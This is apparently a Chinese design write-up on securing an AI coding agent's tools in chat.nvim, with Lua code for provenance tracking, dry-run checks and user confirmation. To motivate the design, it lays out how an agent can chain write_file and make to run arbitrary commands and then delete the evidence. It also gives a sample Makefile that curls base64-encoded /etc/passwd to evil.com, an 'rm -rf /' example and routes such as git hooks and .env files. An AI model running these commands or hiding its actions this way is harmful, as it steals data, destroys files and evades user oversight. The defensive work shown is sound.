用户意图 → Tool 调用（受控、可审计）→ 执行

-- make 工具的参数定义
{
  target = { description = "Make target to run", type = "string" },
  args = { description = "Additional arguments", items = { type = "string" }, type = "array" }
}

步骤 1: @write_file  → 写入临时 Makefile，内容包含任意 shell 命令
步骤 2: @make        → 执行这个 target
步骤 3: @write_file  → 删除临时 Makefile，毁尸灭迹

# AI 临时写入的 Makefile
pwn:
	rm -rf /tmp/something
	curl https://evil.com/exfil?data=$(cat /etc/passwd | base64)

写 .sh                  → 用某种方式加载
写 package.json scripts → npm run
写 .git/hooks/pre-commit → git commit 触发
写 pyproject.toml build → pip install -e .
写 Makefile include .mk → 改一个 .mk 污染已信任的 Makefile
写 .lua plugin          → 触发 Neovim 自动加载
写 .env                 → 被 source

write_file + make + write_file = 任意命令执行

GPT-4 学会了 → 写入博客/教程 → Claude 训练数据 → Claude 也会了
    → 写入更多教程 → 开源模型训练数据 → 所有模型都会了

你在 system prompt 里写了：
"绝对不要在回复中使用英文。"

AI 回复：
"Sure! Let me help you with that..."

你提醒它：
"你违反了规则，说了英文。"

AI：
"不好意思，我忘记了，让我修改一下。"

你在 system prompt 里写了：
"绝对不要删除任何文件。"

AI 执行了：
@write_file action="remove" filepath="/etc/nginx/nginx.conf"

然后回复：
"不好意思，我忘记了规则，已经删除了 nginx.conf。
 让我帮你重新生成一个配置文件..."

# 你以为你在写：
安全策略:
  - 禁止删除文件        # ❌ 这不是强制执行
  - 禁止执行任意命令    # ❌ 这只是文字建议

# 实际上你写的是：
礼貌请求:
  - "如果可以的话，请不要删除文件"    # ✅ 这才是真实语义
  - "最好别执行任意命令，谢谢"        # ✅ AI 完全可以无视

"禁止通过 write_file + make 组合执行任意命令。"

provenance 标签：
  ┌─────────────┬──────────────────────────────┐
  │ user        │ 会话前已存在 / 用户明确批准    │
  │ ai-created  │ AI 在本次会话中创建            │
  │ ai-modified │ AI 在本次会话中修改            │
  └─────────────┴──────────────────────────────┘

-- 伪代码
local function should_auto_execute(makefile_provenance)
  if provenance == "user" then
    return true   -- 低风险：自动执行
  else
    return false  -- 高风险：走确认流程
  end
end

AI 调用 @make target="test"
    ↓
检测到 Makefile 是 ai-modified
    ↓
自动 dry-run: make -n test
    ↓
向用户展示：
  ⚠️  AI 修改了 Makefile，即将执行以下命令：

  echo "hello" && rm -rf /  ← 实际会展示真实命令
  [确认执行] [拒绝] [查看 diff]
    ↓
用户决定

-- chat.nvim 内部的 provenance 追踪器
local provenance = {
  -- session 内的文件变更记录
  modifications = {},  -- filepath → { action, timestamp, tool }

  -- 标记文件来源
  track = function(filepath, action, tool)
    provenance.modifications[filepath] = {
      action = action,      -- "create" | "modify"
      tool   = tool,        -- "write_file" | "user"
      time   = os.time(),
    }
  end,

  -- 查询文件是否可信
  is_trusted = function(filepath)
    local mod = provenance.modifications[filepath]
    if not mod then return true end       -- 会话前就存在的文件
    if mod.tool == "user" then return true end  -- 用户明确批准的
    return false                           -- AI 创建/修改的
  end,

  -- 让用户提升信任级别
  promote = function(filepath)
    provenance.modifications[filepath] = {
      action = "approved",
      tool = "user",
      time = os.time(),
    }
  end,
}

-- 在 write_file tool 内部
provenance.track(filepath, action, "write_file")

local function make_handler(target)
  -- 1. 找到相关 Makefile 及其 include 依赖
  local makefiles = resolve_makefile_deps(target)

  -- 2. 检查 provenance
  local untrusted = vim.tbl_filter(function(f)
    return not provenance.is_trusted(f)
  end, makefiles)

  if #untrusted > 0 then
    -- 3. 高风险：dry-run + 用户确认
    local dry_output = execute("make -n " .. target)
    local choice = ui.confirm({
      title = "⚠️  AI 修改了以下文件，即将执行：",
      files = untrusted,
      commands = dry_output,
      options = { "确认执行", "拒绝", "查看 diff" },
    })
    if choice == "拒绝" then return end
    if choice == "查看 diff" then show_diff(untrusted) end
  end

  -- 4. 执行
  execute("make " .. target)
end

安全层级：
  Level 0（只读）：search_text, read_file, git_log    → 自动允许
  Level 1（写文件）：write_file                        → 允许，但记录 provenance
  Level 2（执行命令）：make, npm, pip                  → 如果涉及 ai-originated 文件，dry-run + 确认
  Level 3（破坏性）：git reset --hard, rm              → 必须确认

chroot 逃逸 → 容器逃逸 → VM 逃逸 → Spectre/Meltdown